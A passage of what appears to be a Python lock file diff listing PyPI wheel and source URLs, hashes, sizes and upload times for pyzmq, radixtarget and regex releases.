"https://files.pythonhosted.org/packages/23/6d/d8d92a0eb270a925c9b4dd039c0b4dc10abc2fcbc48331788824ef113935/pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97", size = 633428, upload-time = "2025-09-08T23:08:00.663Z" }, + { url = "https://files.pythonhosted.org/packages/ae/14/01afebc96c5abbbd713ecfc7469cfb1bc801c819a74ed5c9fad9a48801cb/pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07", size = 559497, upload-time = "2025-09-08T23:08:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/92/e7/038aab64a946d535901103da16b953c8c9cc9c961dadcbf3609ed6428d23/pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc", size = 1306279, upload-time = "2025-09-08T23:08:03.807Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5e/c3c49fdd0f535ef45eefcc16934648e9e59dace4a37ee88fc53f6cd8e641/pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113", size = 895645, upload-time = "2025-09-08T23:08:05.301Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e5/b0b2504cb4e903a74dcf1ebae157f9e20ebb6ea76095f6cfffea28c42ecd/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233", size = 652574, upload-time = "2025-09-08T23:08:06.828Z" }, + { url = "https://files.pythonhosted.org/packages/f8/9b/c108cdb55560eaf253f0cbdb61b29971e9fb34d9c3499b0e96e4e60ed8a5/pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31", size = 840995, upload-time = "2025-09-08T23:08:08.396Z" }, + { url = "https://files.pythonhosted.org/packages/c2/bb/b79798ca177b9eb0825b4c9998c6af8cd2a7f15a6a1a4272c1d1a21d382f/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28", size = 1642070, upload-time = "2025-09-08T23:08:09.989Z" }, + { url = "https://files.pythonhosted.org/packages/9c/80/2df2e7977c4ede24c79ae39dcef3899bfc5f34d1ca7a5b24f182c9b7a9ca/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856", size = 2021121, upload-time = "2025-09-08T23:08:11.907Z" }, + { url = "https://files.pythonhosted.org/packages/46/bd/2d45ad24f5f5ae7e8d01525eb76786fa7557136555cac7d929880519e33a/pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496", size = 1878550, upload-time = "2025-09-08T23:08:13.513Z" }, + { url = "https://files.pythonhosted.org/packages/e6/2f/104c0a3c778d7c2ab8190e9db4f62f0b6957b53c9d87db77c284b69f33ea/pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd", size = 559184, upload-time = "2025-09-08T23:08:15.163Z" }, + { url = "https://files.pythonhosted.org/packages/fc/7f/a21b20d577e4100c6a41795842028235998a643b1ad406a6d4163ea8f53e/pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf", size = 619480, upload-time = "2025-09-08T23:08:17.192Z" }, + { url = "https://files.pythonhosted.org/packages/78/c2/c012beae5f76b72f007a9e91ee9401cb88c51d0f83c6257a03e785c81cc2/pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f", size = 552993, upload-time = "2025-09-08T23:08:18.926Z" }, + { url = "https://files.pythonhosted.org/packages/60/cb/84a13459c51da6cec1b7b1dc1a47e6db6da50b77ad7fd9c145842750a011/pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5", size = 1122436, upload-time = "2025-09-08T23:08:20.801Z" }, + { url = "https://files.pythonhosted.org/packages/dc/b6/94414759a69a26c3dd674570a81813c46a078767d931a6c70ad29fc585cb/pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6", size = 1156301, upload-time = "2025-09-08T23:08:22.47Z" }, + { url = "https://files.pythonhosted.org/packages/a5/ad/15906493fd40c316377fd8a8f6b1f93104f97a752667763c9b9c1b71d42d/pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7", size = 1341197, upload-time = "2025-09-08T23:08:24.286Z" }, + { url = "https://files.pythonhosted.org/packages/14/1d/d343f3ce13db53a54cb8946594e567410b2125394dafcc0268d8dda027e0/pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05", size = 897275, upload-time = "2025-09-08T23:08:26.063Z" }, + { url = "https://files.pythonhosted.org/packages/69/2d/d83dd6d7ca929a2fc67d2c3005415cdf322af7751d773524809f9e585129/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9", size = 660469, upload-time = "2025-09-08T23:08:27.623Z" }, + { url = "https://files.pythonhosted.org/packages/3e/cd/9822a7af117f4bc0f1952dbe9ef8358eb50a24928efd5edf54210b850259/pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128", size = 847961, upload-time = "2025-09-08T23:08:29.672Z" }, + { url = "https://files.pythonhosted.org/packages/9a/12/f003e824a19ed73be15542f172fd0ec4ad0b60cf37436652c93b9df7c585/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39", size = 1650282, upload-time = "2025-09-08T23:08:31.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4a/e82d788ed58e9a23995cee70dbc20c9aded3d13a92d30d57ec2291f1e8a3/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97", size = 2024468, upload-time = "2025-09-08T23:08:33.543Z" }, + { url = "https://files.pythonhosted.org/packages/d9/94/2da0a60841f757481e402b34bf4c8bf57fa54a5466b965de791b1e6f747d/pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db", size = 1885394, upload-time = "2025-09-08T23:08:35.51Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/55c10e2e49ad52d080dc24e37adb215e5b0d64990b57598abc2e3f01725b/pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c", size = 574964, upload-time = "2025-09-08T23:08:37.178Z" }, + { url = "https://files.pythonhosted.org/packages/87/4d/2534970ba63dd7c522d8ca80fb92777f362c0f321900667c615e2067cb29/pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2", size = 641029, upload-time = "2025-09-08T23:08:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/f6/fa/f8aea7a28b0641f31d40dea42d7ef003fded31e184ef47db696bc74cd610/pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e", size = 561541, upload-time = "2025-09-08T23:08:42.668Z" }, + { url = "https://files.pythonhosted.org/packages/87/45/19efbb3000956e82d0331bafca5d9ac19ea2857722fa2caacefb6042f39d/pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a", size = 1341197, upload-time = "2025-09-08T23:08:44.973Z" }, + { url = "https://files.pythonhosted.org/packages/48/43/d72ccdbf0d73d1343936296665826350cb1e825f92f2db9db3e61c2162a2/pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea", size = 897175, upload-time = "2025-09-08T23:08:46.601Z" }, + { url = "https://files.pythonhosted.org/packages/2f/2e/a483f73a10b65a9ef0161e817321d39a770b2acf8bcf3004a28d90d14a94/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96", size = 660427, upload-time = "2025-09-08T23:08:48.187Z" }, + { url = "https://files.pythonhosted.org/packages/f5/d2/5f36552c2d3e5685abe60dfa56f91169f7a2d99bbaf67c5271022ab40863/pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d", size = 847929, upload-time = "2025-09-08T23:08:49.76Z" }, + { url = "https://files.pythonhosted.org/packages/c4/2a/404b331f2b7bf3198e9945f75c4c521f0c6a3a23b51f7a4a401b94a13833/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146", size = 1650193, upload-time = "2025-09-08T23:08:51.7Z" }, + { url = "https://files.pythonhosted.org/packages/1c/0b/f4107e33f62a5acf60e3ded67ed33d79b4ce18de432625ce2fc5093d6388/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd", size = 2024388, upload-time = "2025-09-08T23:08:53.393Z" }, + { url = "https://files.pythonhosted.org/packages/0d/01/add31fe76512642fd6e40e3a3bd21f4b47e242c8ba33efb6809e37076d9b/pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a", size = 1885316, upload-time = "2025-09-08T23:08:55.702Z" }, + { url = "https://files.pythonhosted.org/packages/c4/59/a5f38970f9bf07cee96128de79590bb354917914a9be11272cfc7ff26af0/pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92", size = 587472, upload-time = "2025-09-08T23:08:58.18Z" }, + { url = "https://files.pythonhosted.org/packages/70/d8/78b1bad170f93fcf5e3536e70e8fadac55030002275c9a29e8f5719185de/pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0", size = 661401, upload-time = "2025-09-08T23:08:59.802Z" }, + { url = "https://files.pythonhosted.org/packages/81/d6/4bfbb40c9a0b42fc53c7cf442f6385db70b40f74a783130c5d0a5aa62228/pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7", size = 575170, upload-time = "2025-09-08T23:09:01.418Z" }, + { url = "https://files.pythonhosted.org/packages/f3/81/a65e71c1552f74dec9dff91d95bafb6e0d33338a8dfefbc88aa562a20c92/pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6", size = 836266, upload-time = "2025-09-08T23:09:40.048Z" }, + { url = "https://files.pythonhosted.org/packages/58/ed/0202ca350f4f2b69faa95c6d931e3c05c3a397c184cacb84cb4f8f42f287/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90", size = 800206, upload-time = "2025-09-08T23:09:41.902Z" }, + { url = "https://files.pythonhosted.org/packages/47/42/1ff831fa87fe8f0a840ddb399054ca0009605d820e2b44ea43114f5459f4/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62", size = 567747, upload-time = "2025-09-08T23:09:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/d1/db/5c4d6807434751e3f21231bee98109aa57b9b9b55e058e450d0aef59b70f/pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74", size = 747371, upload-time = "2025-09-08T23:09:45.575Z" }, + { url = "https://files.pythonhosted.org/packages/26/af/78ce193dbf03567eb8c0dc30e3df2b9e56f12a670bf7eb20f9fb532c7e8a/pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba", size = 544862, upload-time = "2025-09-08T23:09:47.448Z" }, + { url = "https://files.pythonhosted.org/packages/4c/c6/c4dcdecdbaa70969ee1fdced6d7b8f60cfabe64d25361f27ac4665a70620/pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066", size = 836265, upload-time = "2025-09-08T23:09:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/3e/79/f38c92eeaeb03a2ccc2ba9866f0439593bb08c5e3b714ac1d553e5c96e25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604", size = 800208, upload-time = "2025-09-08T23:09:51.073Z" }, + { url = "https://files.pythonhosted.org/packages/49/0e/3f0d0d335c6b3abb9b7b723776d0b21fa7f3a6c819a0db6097059aada160/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c", size = 567747, upload-time = "2025-09-08T23:09:52.698Z" }, + { url = "https://files.pythonhosted.org/packages/a1/cf/f2b3784d536250ffd4be70e049f3b60981235d70c6e8ce7e3ef21e1adb25/pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271", size = 747371, upload-time = "2025-09-08T23:09:54.563Z" }, + { url = "https://files.pythonhosted.org/packages/01/1b/5dbe84eefc86f48473947e2f41711aded97eecef1231f4558f1f02713c12/pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355", size = 544862, upload-time = "2025-09-08T23:09:56.509Z" }, +] + +[[package]] +name = "radixtarget" +version = "3.0.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/26/89/1c19b98c48f703fe654f3e7d8986556573fe412945f13842240b7cf87e9a/radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea", size = 108237, upload-time = "2024-12-16T16:35:44.268Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/b4/b461d1c1d200a76216fd4c277492c706ec2a8552fd015158ae063dcc6940/radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0", size = 108810, upload-time = "2024-12-16T16:35:41.208Z" }, +] + +[[package]] +name = "regex" +version = "2026.1.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/86/07d5056945f9ec4590b518171c4254a5925832eb727b56d3c38a7476f316/regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5", size = 414811, upload-time = "2026-01-14T23:18:02.775Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ea/d2/e6ee96b7dff201a83f650241c52db8e5bd080967cb93211f57aa448dc9d6/regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e", size = 488166, upload-time = "2026-01-14T23:13:46.408Z" }, + { url = "https://files.pythonhosted.org/packages/23/8a/819e9ce14c9f87af026d0690901b3931f3101160833e5d4c8061fa3a1b67/regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f", size = 290632, upload-time = "2026-01-14T23:13:48.688Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c3/23dfe15af25d1d45b07dfd4caa6003ad710dcdcb4c4b279909bdfe7a2de8/regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b", size = 288500, upload-time = "2026-01-14T23:13:50.503Z" }, + { url = "https://files.pythonhosted.org/packages/c6/31/1adc33e2f717df30d2f4d973f8776d2ba6ecf939301efab29fca57505c95/regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c", size = 781670, upload-time = "2026-01-14T23:13:52.453Z" }, + { url = "https://files.pythonhosted.org/packages/23/ce/21a8a22d13bc4adcb927c27b840c948f15fc973e21ed2346c1bd0eae22dc/regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9", size = 850820, upload-time = "2026-01-14T23:13:54.894Z" }, + { url = "https://files.pythonhosted.org/packages/6c/4f/3eeacdf587a4705a44484cd0b30e9230a0e602811fb3e2cc32268c70d509/regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c", size = 898777, upload-time = "2026-01-14T23:13:56.908Z" }, + { url = "https://files.pythonhosted.org/packages/79/a9/1898a077e2965c35fc22796488141a22676eed2d73701e37c73ad7c0b459/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106", size = 791750, upload-time = "2026-01-14T23:13:58.527Z" }, + { url = "https://files.pythonhosted.org/packages/4c/84/e31f9d149a178889b3817212827f5e0e8c827a049ff31b4b381e76b26e2d/regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618", size = 782674, upload-time = "2026-01-14T23:13:59.874Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ff/adf60063db24532add6a1676943754a5654dcac8237af024ede38244fd12/regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4", size = 767906, upload-time = "2026-01-14T23:14:01.298Z" }, + { url = "https://files.pythonhosted.org/packages/af/3e/e6a216cee1e2780fec11afe7fc47b6f3925d7264e8149c607ac389fd9b1a/regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79", size = 774798, upload-time = "2026-01-14T23:14:02.715Z" }, + { url = "https://files.pythonhosted.org/packages/0f/98/23a4a8378a9208514ed3efc7e7850c27fa01e00ed8557c958df0335edc4a/regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9", size = 845861, upload-time = "2026-01-14T23:14:04.824Z" }, + { url = "https://files.pythonhosted.org/packages/f8/57/d7605a9d53bd07421a8785d349cd29677fe660e13674fa4c6cbd624ae354/regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220", size = 755648, upload-time = "2026-01-14T23:14:06.371Z" }, + { url = "https://files.pythonhosted.org/packages/6f/76/6f2e24aa192da1e299cc1101674a60579d3912391867ce0b946ba83e2194/regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13", size = 836250, upload-time = "2026-01-14T23:14:08.343Z" }, + { url = "https://files.pythonhosted.org/packages/11/3a/1f2a1d29453299a7858eab7759045fc3d9d1b429b088dec2dc85b6fa16a2/regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3", size = 779919, upload-time = "2026-01-14T23:14:09.954Z" }, + { url = "https://files.pythonhosted.org/packages/c0/67/eab9bc955c9dcc58e9b222c801e39cff7ca0b04261792a2149166ce7e792/regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218", size = 265888, upload-time = "2026-01-14T23:14:11.35Z" }, + { url = "https://files.pythonhosted.org/packages/1d/62/31d16ae24e1f8803bddb0885508acecaec997fcdcde9c243787103119ae4/regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a", size = 277830, upload-time = "2026-01-14T23:14:12.908Z" }, + { url = "https://files.pythonhosted.org/packages/e5/36/5d9972bccd6417ecd5a8be319cebfd80b296875e7f116c37fb2a2deecebf/regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3", size = 270376, upload-time = "2026-01-14T23:14:14.782Z" }, + { url = "https://files.pythonhosted.org/packages/d0/c9/0c80c96eab96948363d270143138d671d5731c3a692b417629bf3492a9d6/regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a", size = 488168, upload-time = "2026-01-14T23:14:16.129Z" }, + { url = "https://files.pythonhosted.org/packages/17/f0/271c92f5389a552494c429e5cc38d76d1322eb142fb5db3c8ccc47751468/regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f", size = 290636, upload-time = "2026-01-14T23:14:17.715Z" }, + { url = "https://files.pythonhosted.org/packages/a0/f9/5f1fd077d106ca5655a0f9ff8f25a1ab55b92128b5713a91ed7134ff688e/regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1", size = 288496, upload-time = "2026-01-14T23:14:19.326Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e1/8f43b03a4968c748858ec77f746c286d81f896c2e437ccf050ebc5d3128c/regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b", size = 793503, upload-time = "2026-01-14T23:14:20.922Z" }, + { url = "https://files.pythonhosted.org/packages/8d/4e/a39a5e8edc5377a46a7c875c2f9a626ed3338cb3bb06931be461c3e1a34a/regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8", size = 860535, upload-time = "2026-01-14T23:14:22.405Z" }, + { url = "https://files.pythonhosted.org/packages/dc/1c/9dce667a32a9477f7a2869c1c767dc00727284a9fa3ff5c09a5c6c03575e/regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413", size = 907225, upload-time = "2026-01-14T23:14:23.897Z" }, + { url = "https://files.pythonhosted.org/packages/a4/3c/87ca0a02736d16b6262921425e84b48984e77d8e4e572c9072ce96e66c30/regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026", size = 800526, upload-time = "2026-01-14T23:14:26.039Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/647d5715aeea7c87bdcbd2f578f47b415f55c24e361e639fe8c0cc88878f/regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785", size = 773446, upload-time = "2026-01-14T23:14:28.109Z" }, + { url = "https://files.pythonhosted.org/packages/af/89/bf22cac25cb4ba0fe6bff52ebedbb65b77a179052a9d6037136ae93f42f4/regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e", size = 783051, upload-time = "2026-01-14T23:14:29.929Z" }, + { url = "https://files.pythonhosted.org/packages/1e/f4/6ed03e71dca6348a5188363a34f5e26ffd5db1404780288ff0d79513bce4/regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763", size = 854485, upload-time = "2026-01-14T23:14:31.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/9a/8e8560bd78caded8eb137e3e47612430a05b9a772caf60876435192d670a/regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb", size = 762195, upload-time = "2026-01-14T23:14:32.802Z" }, + { url = "https://files.pythonhosted.org/packages/38/6b/61fc710f9aa8dfcd764fe27d37edfaa023b1a23305a0d84fccd5adb346ea/regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2", size = 845986, upload-time = "2026-01-14T23:14:34.898Z" }, + { url = "https://files.pythonhosted.org/packages/fd/2e/fbee4cb93f9d686901a7ca8d94285b80405e8c34fe4107f63ffcbfb56379/regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1", size = 788992, upload-time = "2026-01-14T23:14:37.116Z" }, + { url = "https://files.pythonhosted.org/packages/ed/14/3076348f3f586de64b1ab75a3fbabdaab7684af7f308ad43be7ef1849e55/regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569", size = 265893, upload-time = "2026-01-14T23:14:38.426Z" }, + { url = "https://files.pythonhosted.org/packages/0f/19/772cf8b5fc803f5c89ba85d8b1870a1ca580dc482aa030383a9289c82e44/regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7", size = 277840, upload-time = "2026-01-14T23:14:39.785Z" }, + { url = 